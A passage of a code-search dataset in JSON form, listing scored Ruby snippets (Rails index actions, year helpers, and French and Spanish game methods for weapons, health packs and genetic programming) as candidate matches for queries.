b <=> a }\n end", "title": "" }, { "docid": "67e6ebe5c0d6119b72075dbb79d405b2", "score": "0.6152484", "text": "def index\n @historical_projects = HistoricalProject.all\n end", "title": "" }, { "docid": "07026d51ac1dfaf2dc2c57e46f95f022", "score": "0.61473143", "text": "def current_year\n find_switch :months\n end", "title": "" }, { "docid": "4a7248934cdcfa3c828b683a448007da", "score": "0.61296046", "text": "def create_archive_years\n require 'time'\n current_year = Time.now.year.to_s\n articles = items.select { |i| i.identifier =~ %r{^/archives/#{current_year}/.+$} }\n puts \"There are #{articles.size} articles\"\n years = articles.map { |a| Time.parse(a[:created_at]).year }.uniq\n years.each do |year|\n items << Nanoc3::Item.new(\n \"= render('_year_page', :year => #{year})\",\n { :title => \"BSAG &raquo; Archives #{year}\", :is_hidden => true },\n \"/archives/#{year}/\",\n :binary => false\n )\n end\n end", "title": "" }, { "docid": "0cbb40b05de06228286438952225ab8f", "score": "0.61280084", "text": "def index\n if user_signed_in?\n @myportfolio = current_user.portfolio\n end\n \n @portfolios = Portfolio.all\n \n # def no_title\n # @portfolio.each do |p|\n # if p.title.nil? # 좀 더 연구\n # p\n # end\n # end\n # end\n \n #@portfolios = Portfolio.all.except(no_title)\n #@portfolios = Portfolio.all\n end", "title": "" }, { "docid": "dcfc8c5462f3358749eaad63145095cb", "score": "0.61239874", "text": "def render_current_year(&block)\n year = Year.new(Date.today.year)\n year_renderer.render(year, &block)\n end", "title": "" }, { "docid": "a9ad0ee6f0e7715c460479aab54626dc", "score": "0.61222744", "text": "def index\n @artists_portfolios = Artists::Portfolio.all\n end", "title": "" }, { "docid": "03deeb2174c483b938ee003410286b6d", "score": "0.6113011", "text": "def index\n if current_user\n @portfolios = Portfolio.where([\"template = ? or user_id = ?\", true, current_user.id])\n else\n @portfolios = Portfolio.where([\"template = ?\", true]) \n end\n \n historical = {}\n historical_data = @portfolios.map{|p| p.historical(10)[:data]}\n #portfolio_names = @portfolios.map{|p| p.historical(10)[:data]}\n historical_data.each_with_index do |portfolio, index|\n portfolio.each do |buy_item|\n #raise buy_item.inspect\n historical[buy_item[:date]] ||= {}\n historical[buy_item[:date]][@portfolios[index].name] = buy_item[:value]\n end\n #raise portfolio.inspect\n end\n \n names = ['Date', 'Cost']\n historical_values = []\n cost = 0\n historical.keys.sort.each do |date|\n cost += 500\n row = [\"'#{date.strftime('%m/%d/%Y')}'\", cost.to_s]\n historical[date].each_pair do |key, value|\n names << key unless names.include?(key)\n row << historical[date][key]\n end\n historical_values << \"[#{row.join(\",\")}]\"\n end\n names = names.map{|n| \"'#{n}'\"}\n historical_values.insert(0, names)\n #['Date', 'Value', 'Cost'],\n#<%= @portfolio.historical(10)[:data].map{|row| \"['#{row[:date]}', #{row[:value]}, #{row[:cost]}]\"}.join(',') %>\n \n #@portfolios.each do |portfolio|\n # names << portfolio.name\n # historical << portfolio.historical(10)[:data].map{|row| \"['#{row[:date]}', #{row[:value]}, #{row[:cost]}]\"}.join(',')\n #end\n \n @graph_formatted = \"[#{historical_values.join(',')}]\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @portfolios }\n end\n end", "title": "" }, { "docid": "e2ccd68be87651dc0c6746a9d825a7f7", "score": "0.6111695", "text": "def index\n @yearofstudies = Yearofstudy.all\n end", "title": "" }, { "docid": "072c458ac6e83a6047b203b102882cb3", "score": "0.61097956", "text": "def index\n @portfolios = Portfolio.all.order(:name)\n end", "title": "" }, { "docid": "e8f05375a2fd5bad28bd4d229e482276", "score": "0.6103667", "text": "def year()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "2e715ec5d5607e325997d31941cb0ebc", "score": "0.6092979", "text": "def index\n @study_years = StudyYear.all\n end", "title": "" }, { "docid": "af9a2ce0118ee31b55bd2f531b1b1ac3", "score": "0.6080516", "text": "def get_portfolio_list()\n get_request('portfolioList?'+get_url_parameters({})).body\n end", "title": "" }, { "docid": "b51930c94fcb1617f9a8f80b92f6349d", "score": "0.60719043", "text": "def year_select\n research_select_tag :year, year_list.unshift(nil), year, ->(y) { answer_for_year y }\n end", "title": "" }, { "docid": "c7a87d7990536e2a25bfbdc297898457", "score": "0.6071668", "text": "def copyright_year\n return current_year.to_s if current_year == config.founding_year\n\n \"#{config.founding_year} - #{current_year}\"\n end", "title": "" }, { "docid": "1964fab538e116cb53a06964354773aa", "score": "0.60709006", "text": "def all\n @selected_year = params[:year] ? params[:year] : Time.now.year\n @invoices = current_user.invoices.by_year(@selected_year)\n end", "title": "" }, { "docid": "fc6198c79199348304af21cc1ec5b0b0", "score": "0.60541326", "text": "def index\n @academic_years = AcademicYear.all\n end", "title": "" }, { "docid": "8845bb734aa6b5cf24992d93ad1378e6", "score": "0.6048889", "text": "def current_yearly_total\n\t\tyearly_totals.of_year\n\tend", "title": "" }, { "docid": "0db77f0cb1a28fe84c896378220b20c0", "score": "0.6045894", "text": "def local_year(planet_name)\n @planet_name = planet_name\n #iterate over planet array to find requested planet\n self.planets.each do |planet|\n if planet.name == @planet_name\n orbital_period = planet.orbital_period\n puts \"Local year based on orbits around the sun since year 0\"\n print \"#{planet.name}:\"\n year = (@age / orbital_period).round(0)\n formatted_year = year.to_s.chars.to_a.reverse.each_slice(3).map(&:join).join(\",\").reverse\n puts \"#{formatted_year} #{planet.name}-years\"\n end\n end\n end", "title": "" }, { "docid": "c782bb446faa143886279c6d0f5db2ef", "score": "0.6031427", "text": "def index\n @academic_years = AcademicYear.all\n end", "title": "" }, { "docid": "f0916d4b9e3bb2e43bfb7063ec9c7039", "score": "0.60313386", "text": "def index\n @life_items = LifeItem.all\n\n date_from = Date.parse('1990-01-30')\n date_to = date_from + 100.years\n date_range = date_from..date_to\n\n hash = Hash[date_range.group_by(&:year).map do |y, items|\n [y, items.group_by { |d| d.month }.map { |month| \"\" }]\n end]\n @life_cycle = @life_items.each_with_object(hash) do |items, h|\n h[items.date.beginning_of_year.year][items.date.beginning_of_month.month] = items.title\n end\n end", "title": "" }, { "docid": "bcf1c44a91aa65709e766bb8a4d6f0de", "score": "0.603062", "text": "def project_list_current\n if cookies[:report_date]\n endda = Date::strptime(cookies[:report_date]) \n else\n endda = Date.today\n end\n return list_current_projects(endda)\n end", "title": "" }, { "docid": "d54feabf2fae5b154a7c3e7c4e19edcd", "score": "0.60290194", "text": "def index\n @car_years = CarYear.all\n end", "title": "" }, { "docid": "f49044ef444c91990c022314e4f1747e", "score": "0.602872", "text": "def index\n @portfolios = User.find(current_user.id).portfolios\n end", "title": "" }, { "docid": "e0ad04b06043d94efedec17b2360684b", "score": "0.6022556", "text": "def get_current_year\n date.strftime(\"%Y\").to_i\n end", "title": "" }, { "docid": "da8abfe0f202abb5396a241689cd10f0", "score": "0.6019756", "text": "def current_year\n Time.zone.today.year\n end", "title": "" }, { "docid": "5589a93a7769fadbc8e16296d688ed17", "score": "0.6005178", "text": "def portfolio_overview_index\n index\n end", "title": "" }, { "docid": "332752a294e79578b28bb02803afd41f", "score": "0.59953785", "text": "def index\n @challenges = Challenge.all.order(:year)\n end", "title": "" }, { "docid": "63dfbc5bbe95d64e9a8ebb8d824b5bd4", "score": "0.5990654", "text": "def current_financial_year\n date = Time.zone.today\n date.month < 4 ? date.year - 1 : date.year\n end", "title": "" }, { "docid": "82d15f6d5b193d9e02960b751fabdcf6", "score": "0.59857154", "text": "def index\n @courses = Course.all.sort_by { |c| c.year}\n end", "title": "" }, { "docid": "7f6079d6aa14609bcb5dda49f1a7d8a7", "score": "0.598034", "text": "def calendar_show\n @portfolio = Portfolio.find(params[:id])\n end", "title": "" }, { "docid": "35828bd4c361e5e093dbd9d43ecfb8fc", "score": "0.5975128", "text": "def cwyear() commercial[0] end", "title": "" }, { "docid": "1870de50bc69a02b2ef07a36833f4a0c", "score": "0.5969428", "text": "def index\n @portfolios = Portfolio.all\n @page_title = \"Portfolio\"\n\n\n puts @portfolios.inspect\n\n end", "title": "" }, { "docid": "679f318477e9b55b1101ae0b0580c835", "score": "0.59644157", "text": "def index\n @years = Year.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @years }\n end\n end", "title": "" }, { "docid": "56af2b20fb730e70068c6c994a86dc4e", "score": "0.5963359", "text": "def index\n @grade_sets = GradeSet.all.order(:year)\n end", "title": "" }, { "docid": "33b1e52549979fffd64fa82fba478850", "score": "0.5959988", "text": "def current_financial_year\n end_year = configuration.current_academic_year.start_year\n start_year = end_year - 1\n\n \"6 April #{start_year} and 5 April #{end_year}\"\n end", "title": "" }, { "docid": "588302c34f565db0599c8024d2e82f02", "score": "0.59595215", "text": "def index\n @selected_year = (params[:year] || Game.current_year).to_i\n @games = Game.where(\"start_date >= ? and start_date < ?\", Date.new(@selected_year, 10, 1), [Date.today, Date.new(@selected_year+1, 10, 1)].min).order(:start_date).includes(:gamesmasters)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @games }\n end\n end", "title": "" }, { "docid": "f3ab35482bc806a38513c8c172964f0e", "score": "0.595076", "text": "def index\n @albums = (params[:year]) ? Album.find(:all, :conditions=>['iYear=?', params[:year]]) : Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end", "title": "" }, { "docid": "0410795bb38c6f890ce16cae42c049a9", "score": "0.5948888", "text": "def current_membership\n memberships.where(year: (Date.current.year..Date.current.year + 1)).order(year: :asc).first\n end", "title": "" }, { "docid": "90e0eeddb1838de9d64b9702992704b5", "score": "0.5946449", "text": "def index\n @year_levels = YearLevel.all\n end", "title": "" }, { "docid": "3f47ffacd8c73380ead76dd331ee80e3", "score": "0.59311044", "text": "def index\n @cal_years = CalYear.all_ordered\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cal_years }\n end\n end", "title": "" }, { "docid": "8f60f2d346623fcc77b06fd920fba34e", "score": "0.5927477", "text": "def index\n @resume_in_portfolios = ResumeInPortfolio.all\n end", "title": "" }, { "docid": "775200626cedda609601c5e4d6faeeb2", "score": "0.5927447", "text": "def index\n @yearlevels = Yearlevel.all\n end", "title": "" }, { "docid": "775200626cedda609601c5e4d6faeeb2", "score": "0.5927447", "text": "def index\n @yearlevels = Yearlevel.all\n end", "title": "" }, { "docid": "b1147dec66982954bb9ec529b5308a11", "score": "0.5922991", "text": "def index\n @public_holidays = PublicHoliday.where(date: (start_of_year(@year)..end_of_year(@year))).order('date ASC')\n end", "title": "" }, { "docid": "91f236c37c887810feee88673c74a340", "score": "0.59225005", "text": "def index\n @project_dates = ProjectDate.all\n end", "title": "" }, { "docid": "1b4a4c6b4d12570d1c070b921c866ba4", "score": "0.5919576", "text": "def current_financial_year_name\n FinancialYear.current_financial_year_name\n end", "title": "" }, { "docid": "29bacd58f0c3b399b5b3b7526f621921", "score": "0.5915515", "text": "def show\n portfolio = current_user.portfolio\n render json: portfolio if stale?(portfolio)\n end", "title": "" }, { "docid": "6f19bf6a011742296f132637152deabc", "score": "0.5909721", "text": "def index\n @projects = current_user.projects.unarchived\n @collaborations = current_user.collaborations.map(&:project).select { |p| p.archived == false }\n @projects_info = get_remaining_projects(@projects.count)\n @trial_info = get_remaining_days unless current_user.has_subscribed?\n @show = show_upgrade_message?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" } ]
a3edd5dc76ac37de0f17767a0f8c8b45
Si el arbol es demasiado grande, entonces lo recorta, bajando todo el arbol y la hoja esta a una profundidad mayor a la altura maxima entonces se dispone subir hasta encontrar el nivel que debe de ser hoja y genera uno random.
[ { "docid": "f856c8f4e891ac9c8e592e378e68c6bd", "score": "0.0", "text": "def podaArbol(parent,maxDepth)\n parent.tree.children {\n |child|\n child.children {\n |grandChild|\n parent = child.name + \" \" + grandChild.name\n podaArbolAux(0,child.name,grandChild,maxDepth,parent)\n }\n }\n end", "title": "" } ]
[ { "docid": "2463d6788b1e1ac1f3b8e04688a2b6b1", "score": "0.6214496", "text": "def search_weapon\n level = rand(1..6)\n print \"Tu as trouvé une arme de niveau #{level} !\"\n if level > @weapon_level\n @weapon_level = level\n puts 'Génial cette armes est meilleure que ton arme actuelle : tu la prends.'\n else\n puts \"Elle n'est pas mieux que ton arme actuelle... repose là !\"\n end\n end", "title": "" }, { "docid": "a08f243e5ef82bc738191d2990358f98", "score": "0.6157868", "text": "def muestra_por_mesa(mesa, cantidad)\n copia_mesa = mesa.dup\n votos_elegidos = []\n peso_mesa = mesa.reduce(:+)\n while votos_elegidos.length < cantidad\n n = copia_mesa.reduce(:+)\n sorteo = rand(1..n)\n voto_actual = 0\n \n while sorteo > copia_mesa.first(voto_actual+1).reduce(:+)\n voto_actual +=1\n end\n \n votos_elegidos << voto_actual\n copia_mesa[voto_actual] -= 1\n end\n \n return pesar_muestra(agregar_votos(votos_elegidos), peso_mesa)\nend", "title": "" }, { "docid": "5cce4619078f910f870e39a3d5f183e7", "score": "0.61054546", "text": "def search_weapon \n weapon_level = rand(1..6)\n puts \"Tu as trouvé une arme de niveau #{weapon_level}\"\n if weapon_level > @weapon_level\n @weapon_level = weapon_level\n puts \"Youhou ! elle est meilleure que ton arme actuelle : tu la prends.\"\n else\n puts \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n end\n end", "title": "" }, { "docid": "66e1be3ba2884cf5156f9f9d73770fc4", "score": "0.60986483", "text": "def search_weapon\n level_weapon_found = rand(1..6)\n puts \"tu as trouvé une arme de niveau #{level_weapon_found}\"\n if level_weapon_found > self.weapon_level\n self.weapon_level = level_weapon_found\n puts 'Youhou ! elle est meilleure que ton arme actuelle : tu la prends.'\n else\n puts \"... elle n'est pas mieux que ton arme actuelle...\"\n end\n end", "title": "" }, { "docid": "a9e3024a83e600202381181f2bdb553c", "score": "0.59984416", "text": "def search_weapon\n level = rand(1..6)\n puts \"Tu as trouvé une arme de niveau #{level}.\"\n\n # ne prend en compte le bonus uniqumenet si il est superieur a celui qui éxiste déja.\n if level > @weapon_level\n puts \"Youhou ! elle est meilleure que ton arme actuelle : tu la prends.\"\n @weapon_level = level\n else\n puts \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n end\n puts \"\"\n end", "title": "" }, { "docid": "c961459354c52030ae4ff122ee002220", "score": "0.59737927", "text": "def search_weapon\n find_weapon = rand(1..6)\n puts \"tu as trouvé une arme de niveau #{find_weapon}\"\n if find_weapon > @weapon_level\n @weapon_level = find_weapon\n puts \"Trop cool, elle est meilleure que ton arme actuelle, tu la prends\"\n else\n puts \"Fais c****, elle n'est pas mieux que ton arme actuelle\"\n end \n end", "title": "" }, { "docid": "38310d93a7fee65b912a624fc870ca3b", "score": "0.5957342", "text": "def search_weapon\n new_weapon_level = rand(1..6)\n puts \"Tu as trouvé une arme de niveau #{new_weapon_level}\"\n if new_weapon_level > @weapon_level\n @weapon_level = new_weapon_level \n puts \"Youhou, elle est meilleure que ton arme actuelle: tu la prends.\"\n else\n puts \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n end\n end", "title": "" }, { "docid": "c876d7806c17799ab0c484d528d8e410", "score": "0.5946625", "text": "def search_weapon\n new_weapon_level = rand(1..6)\n puts \"Tu as trouvé une arme de niveau #{new_weapon_level}\"\n if new_weapon_level > @weapon_level\n @weapon_level = new_weapon_level\n puts \"Youhou ! elle est meilleure que ton arme actuelle : tu la prends.\"\n else puts \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n end\n puts \"\"\n end", "title": "" }, { "docid": "eb5652147009dc978c2b36d3116dd778", "score": "0.58999175", "text": "def generaPoblacion\n @poblacionNueva = Array.new\n numberOfGroups = 2\n sizeOfGroups = @poblacion/numberOfGroups\n usingFullMethod = sizeOfGroups / 2\n usingGrowMethod = usingFullMethod\n for i in 1..numberOfGroups\n for j in 1..sizeOfGroups\n if j <= usingFullMethod then\n if (i == 1) then\n individuo = Individuo.new(@minDepth,newMaxDepth)\n individuo.fullMethod\n @poblacionNueva << individuo\n else\n individuo = Individuo.new(@maxDepth,newMaxDepth)\n individuo.fullMethod\n @poblacionNueva << individuo\n end\n else\n if (i == 2) then\n individuo = Individuo.new(minDepth,newMaxDepth)\n individuo.growMethod\n @poblacionNueva << individuo\n else\n individuo = Individuo.new(maxDepth,newMaxDepth)\n individuo.fullMethod\n @poblacionNueva << individuo\n end\n end\n end\n end\n # Preparo los folders y sus archivos para \n # las batallas\n prepareFolders\n # Evaluo la poblacion inicial\n evaluaPoblacion\n # Estadisticas que indican como va el algoritmo.\n print \"Fitness de la generacion: \"\n print @evaluacionNueva\n print \" ---- Generacion: \"\n print @generacion\n end", "title": "" }, { "docid": "144e4000d78133e1ea1d530f61c624e2", "score": "0.5882802", "text": "def ganar_mas_1_nivel(monster)\n puts \"MONSTRUOS CON LOS QUE GANAS MAS DE UN NIVEL: \\n\\n\"\n monster.length.times { |num| if (monster[num].get_levels_gained > 1); puts monster[num]; puts \"\\n\\n\" end }\n end", "title": "" }, { "docid": "f22c326063192ae73746c4414ea03d80", "score": "0.5882114", "text": "def nuevo_nodo(pila)\n max=pila.obtener_max\n aux=pila.mandar_pila\n if max<0\n print 'Ingrese nombre: '\n nombre = gets.chomp\n print 'Ingrese carnet: '\n carnet = gets.chomp\n existe_carnet = pila.buscar_carnet(carnet)\n if existe_carnet\n puts 'Este carnet ya existe en el sistema'\n gets\n else\n posicion = pila.mandar_posicion\n nodo = Estudiante.new(nombre,carnet,posicion)\n pila.ingresar_nodo(nodo.mandar_nodo)\n end\nelse\n if max>aux[:size]\n print 'Ingrese nombre: '\n nombre = gets.chomp\n print 'Ingrese carnet: '\n carnet = gets.chomp\n existe_carnet = pila.buscar_carnet(carnet)\n if existe_carnet\n puts 'Este carnet ya existe en el sistema'\n gets\n else\n posicion = pila.mandar_posicion\n nodo = Estudiante.new(nombre,carnet,posicion)\n pila.ingresar_nodo(nodo.mandar_nodo)\n end\n else\n puts 'Ya no tiene espacio para mas estudiantes'\n gets\n end\nend\nend", "title": "" }, { "docid": "288e024a77678f04777269932e854b7c", "score": "0.58650386", "text": "def search_weapon\n weapon = rand(1..6)\n puts \"Tu as trouvé une arme de niveau #{weapon}\"\n if weapon > self.weapon_level\n self.weapon_level = weapon\n puts \"Youhou ! elle est meilleure que ton arme actuelle : tu la prends.\"\n else\n puts \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n end\n end", "title": "" }, { "docid": "77a4f7d8e499ed1e324dba34db673dbd", "score": "0.5784368", "text": "def search_health_pack\n result = rand(1..6)\n if result == 1\n puts \"Tu n'as rien trouvé... \"\n elsif result >= 2 && result <= 5\n @life_points += 50\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n elsif result == 6\n @life_points += 80\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n end\n @life_points = 100 if @life_points > 100\n end", "title": "" }, { "docid": "99444e4d1394c8fcdec5c9c53dad415c", "score": "0.5783971", "text": "def obtenerGanadorGeneral\n max = 0\n objeto = nil\n\n for p in arreglo_perros\n if p.calcularCalificacion > max \n objeto = p\n max = p.calcularCalificacion\n end\n end\n\n return objeto\n end", "title": "" }, { "docid": "79f882b29c504752aeb2ed97e0baa79e", "score": "0.5776553", "text": "def search_health_pack\n health_pack = rand(1..6)\n if health_pack == 1\n puts \"Tu n'as rien trouvé... \"\n elsif health_pack > 1 && health_pack < 6\n self.life_points += 50\n self.life_points = 100 if self.life_points > 100\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n else\n self.life_points += 80\n self.life_points = 100 if self.life_points > 100\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n end\n end", "title": "" }, { "docid": "b428e603ccd5ff0bde1537d71229d94f", "score": "0.5774884", "text": "def abbracadabra\n magical_power = Random.new.rand(0...50) \n if @inventory['amulet'] > 0\n @strenght += @inventory['amulet'] * magical_power\n @inventory['amulet'] -= 1\n puts \"YOU HAVE USED THE MAGIC OF HARRY HOUDINI, YOUR STRENGHT IS #{@strenght}\"\n else\n puts \"YOU DON'T HAVE AN AMULET\"\n end\n end", "title": "" }, { "docid": "88226ed147f62e1d131d0f349c21066d", "score": "0.57624006", "text": "def search_health_pack\n health_pack = rand(1..6) \n\n if health_pack == 1\n puts \"Tu n'as rien trouvé... \"\n end\n\n if health_pack >= 2 && health_pack <= 5\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n if @life_points > 50\n @life_points = 100\n end\n if @life_points <=50\n @life_points + 50\n end\n end\n\n if health_pack == 6\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n if @life_points > 20\n @life_points = 100\n end\n if @life_points <=20\n @life_points + 80\n end\n end\n end", "title": "" }, { "docid": "f5ed6eab189f1067340c9a983aad23a0", "score": "0.574844", "text": "def mover_auto(tamano, ubicacion, cad_comandos)\n com=cad_comandos.chars\n com.each do |elem|\n if(elem != 'A')\n ubicacion[2]=direccion(ubicacion[2], elem)#(N, elemnto I o D)\n end\n if (elem == 'A')\n if (verificarLimites(ubicacion, tamano))\n ubicacion=avanzar(ubicacion,tamano)\n end\n end\n \n \n end\n \n return ubicacion #[2,2,S]\nend", "title": "" }, { "docid": "cfecdfe2152724119cd5c3b98036bf3e", "score": "0.5745774", "text": "def search_health_pack\n new_health_pack = rand(1..6)\n \n if new_health_pack == 1\n puts \">>> Tu n'as rien trouvé...\"\n \n elsif new_health_pack >= 2 && new_health_pack <= 5\n puts \">>> Bravo, tu as trouvé un pack de +50 points de vie !\"\n \n # If it get +50 points pack and value is >= 50 it return 100 points\n if @life_points >= 50\n @life_points = 100\n # If it get +50 points pack and value is < 50 it return the actual life_points + 50 points\n else\n @life_points = @life_points + 50\n end\n # Same as the +50 points pack\n else\n puts \">>> Waow, tu as trouvé un pack de +80 points de vie !\"\n if @life_points >= 20\n @life_points = 100\n else\n @life_points = @life_points + 80\n end\n end\n end", "title": "" }, { "docid": "54574ac5e4b8e31f0adf2ce97ee631bc", "score": "0.574269", "text": "def simular_mov\n\n for i in 0..$pobladores.length do\n #random = rand(0..4)\n case rand(0..4)\n when 0\n\n #no movimiento\n when 1\n #movimiento izquierda\n if (poblador[i].posicionx - poblador[i].movimiento >= 0)\n realizar_movimiento()\n end\n\n when 2\n #movimiento derecha\n if (poblador[i].posicionx + poblador[i].movimiento <= grid.ancho)\n realizar_movimiento()\n end\n when 3\n #movimiento arriba\n if (poblador[i].posiciony - poblador[i].movimiento >= 0)\n realizar_movimiento()\n end\n when 4\n #movimiento abajo\n if (poblador[i].posicionx + poblador[i].movimiento <= grid.largo)\n realizar_movimiento()\n end\n\n end\n\n end\n\n end", "title": "" }, { "docid": "5b0ebfa2d5af2e2d1bd0fe5c2b002591", "score": "0.57265866", "text": "def search_weapon\n new_weapon = rand(1..6)\n puts \">>> Tu as trouvé une arme de niveau #{new_weapon}\"\n \n # Get a random value for the weapon. If the actual weapon has more power, keep the value\n # if it's lower it change the value to the best weapon value\n if new_weapon > @weapon_level\n puts \">>> Cette arme est plus puissante, tu la prends !\"\n @weapon_level = new_weapon\n else\n puts \">>> Cette arme est moins puissante, tu la laisses!\"\n end\n end", "title": "" }, { "docid": "7b6ee7345f09b49fbf9e4a9431f65091", "score": "0.57176805", "text": "def search_weapon\n new_weapon = rand(1..6)\n puts \">>> Tu as trouvé une arme de niveau #{new_weapon}\"\n\n # Obtenez une valeur aléatoire pour l'arme. Si l'arme réelle a plus de puissance, conservez la valeur\n # s'il est inférieur, il change la valeur à la meilleure valeur d'arme\n if new_weapon > @weapon_level\n puts \">>> Cette arme est plus puissante !\"\n @weapon_level = new_weapon\n else\n puts \">>> Cette arme est moins puissante !\"\n end\n end", "title": "" }, { "docid": "0b3d6a3bb584bff3810218072da74b47", "score": "0.5706816", "text": "def validar_nivel_superior \n \n establecimiento = Establecimiento.find(self.establecimiento_id)\n nivel = establecimiento.nivel\n if nivel.nombre = \"Superior\" and (self.situacion_revista == '1-1' || self.situacion_revista == '1-2')\n #Obtengo el despliegue correspondiente a la materia y el plan\n despliegue = Despliegue.find_by(plan_id: self.plan_id, materium_id: self.materium_id) \n #Cantidad de registros\n \n cantidad_registros = AltasBajasHora.where(:establecimiento_id => self.establecimiento_id, division: self.division, turno: self.turno, anio: self.anio, plan_id: self.plan_id, materium_id: self.materium_id).where(situacion_revista: ['1-1','1-2']).where(\" (estado != 'LIC P/BAJ' and estado != 'BAJ' )\").count\n if !(cantidad_registros < despliegue.cant_docentes)\n errors.add(:base,\"Ya se cumplio el limite de cantidad de docentes en esa Materia\")\n end\n end\n end", "title": "" }, { "docid": "fb16c69e884cd413224fab9b5f2734e1", "score": "0.5691401", "text": "def search_health_pack\n\t\tpack = rand(1..6)\n\t\tputs \"Tu n'as rien trouvé...\" if pack == 1\n\t\tif pack > 1 && pack < 6\n\t\t\tputs \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n\t\t\t@life_points + 50 > 100 ? @life_points = 100 : @life_points += 50\n\t\telsif pack == 6\n\t\t\tputs \"Waow, tu as trouvé un pack de +80 points de vie !\"\n\t\t\t@life_points + 80 > 100 ? @life_points = 100 : @life_points += 80\n\t\tend\n\tend", "title": "" }, { "docid": "ce0b1d956bed2b912887fa161d9292ef", "score": "0.5668755", "text": "def allot_treasures\n prng = Random.new\n (0...4).each do\n room = prng.rand(1...20)\n while room == 6 or room == 11\n room = prng.rand(1...20)\n end \n new_one = prng.rand(5...101)\n set_to_room(room, new_one)\n end\n end", "title": "" }, { "docid": "69d26a4ef6ccbce04ab574af906ea6bf", "score": "0.56519175", "text": "def search_health_pack\n health_pack_found = rand(1..6)\n if health_pack_found == 1\n puts \"Tu n'as rien trouvé ...\"\n elsif health_pack_found.between?(2, 5)\n puts 'Bravo, tu as trouvé un pack de +50 points de vie !'\n if self.life_points > 50\n puts 'Tu es maintenant full-life'\n self.life_points = 100\n else\n self.life_points += 50\n puts \"Tu as donc #{self.life_points} point de vie maintenant\"\n end\n else\n puts 'Waow, tu as trouvé un pack de +80 points de vie !'\n if self.life_points > 20\n puts 'Tu es maintenant full-life'\n self.life_points = 100\n else\n self.life_points += 80\n puts \"Tu as donc #{self.life_points} point de vie maintenant\"\n end\n end\n end", "title": "" }, { "docid": "34ae17e01b884e74f1c39b12f097aea1", "score": "0.5648173", "text": "def search_health_pack\n\n health_pack = rand(1..6)\n\n case health_pack\n\n when 1\n puts \"Tu n'as rien trouvé... \"\n when 2..5\n if @life_points < 50\n @life_points += 50\n else\n @life_points = @life_points + 50 - (@life_points - 50)\n\n end\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n when 6\n if @life_points < 20\n @life_points += 80\n else\n @life_points = @life_points + 80 - (@life_points - 80)\n\n end\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n end\n\n end", "title": "" }, { "docid": "12f946e8dd310b968d1f5828899f06fe", "score": "0.5644665", "text": "def search_health\n pack = rand(1..6)\n\n # 2 - 6 bonus 50\n if pack == 2 || pack == 3 || pack == 4 || pack == 5\n\n i = 0\n #si un pack de 50 est trouvé - rajouter 50 points de vie ou autant de points de vie nécéssaire pour arriver a 100\n while @life_points < 100 && i < 50\n @life_points += 1\n i += 1\n end\n\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n\n # si 1 pas de bonus\n elsif pack == 1\n\n puts \"Tu n'as rien trouvé... \"\n\n # si 6 bonus 80\n else\n\n i = 0\n #si un pack de 80 est trouvé - rajouter 50 points de vie ou autant de points de vie nécéssaire pour arriver a 100\n while @life_points < 100 && i < 80\n @life_points += 1\n i += 1\n end\n\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n\n end\n\n puts \"\"\n\n end", "title": "" }, { "docid": "0351752bf13d8e3df430677a6b316928", "score": "0.56415564", "text": "def obtenElMejor\n bestIndex = 0\n bestFitness = @evaluacionNueva[0]\n for i in 1...@poblacion\n if (bestFitness < @evaluacionNueva[i-1]) then\n bestIndex = i\n bestFitness = @evaluacionNueva[i-1]\n end\n end\n if (@generacion == 1) then\n depths = Array.new\n depths << (@poblacionNueva[bestIndex].maxDepth)\n depths << (@poblacionNueva[bestIndex].newMaxDepth)\n tree = (@poblacionNueva[bestIndex].tree).to_json\n @elMejor = tree\n @elMejorDepths = depths\n @mejorFitness = bestFitness\n @generacionElMejor = @generacion\n return\n end\n if (@mejorFitness < bestFitness) then\n depths = Array.new\n depths << (@poblacionNueva[bestIndex].maxDepth)\n depths << (@poblacionNueva[bestIndex].newMaxDepth)\n tree = (@poblacionNueva[bestIndex].tree).to_json\n @elMejor = tree\n @elMejorDepths = depths\n @mejorFitness = bestFitness\n @generacionElMejor = @generacion\n end\n end", "title": "" }, { "docid": "192bb281dc0288fb51b713a83f41c97d", "score": "0.5616542", "text": "def bater(alvo)\n if alvo.esta_vivo?\n self.ataque = Random.rand(5) + 3\n puts \"Você acertou o montro, o seu dano foi #{self.ataque}\"\n alvo.energia -= self.ataque\n else\n puts \"Monstro está morto!\"\n end\n\n unless alvo.esta_vivo?\n puts \"O monstro está morto \\n\\n\"\n self.numero_de_mortos += 1\n end\n\n end", "title": "" }, { "docid": "d4b857f16a3754596d402461dd5ffc05", "score": "0.55915076", "text": "def plant_bombs\n total_bombs = 0\n while total_bombs < @num_bombs\n rand_pos = Array.new(2) { rand(@grid_size) }\n\n tile = self[rand_pos]\n next if tile.bombed?\n\n tile.plant_bomb\n total_bombs += 1\n end\n\n nil\nend", "title": "" }, { "docid": "d4c135b95ec98ef87a60d39491d2a1fa", "score": "0.5583008", "text": "def search_weapon\n\n roll_dice = rand(1..6) #We roll dice to get a new weapon level\n puts \"Tu as trouvé une arme de niveau #{roll_dice}\"\n\n if roll_dice > @weapon_level #If the weapon is better, then take it\n puts \"Youhou ! elle est meilleure que ton arme actuelle : tu la prends.\"\n @weapon_level = roll_dice\n else #Else do nothing\n puts 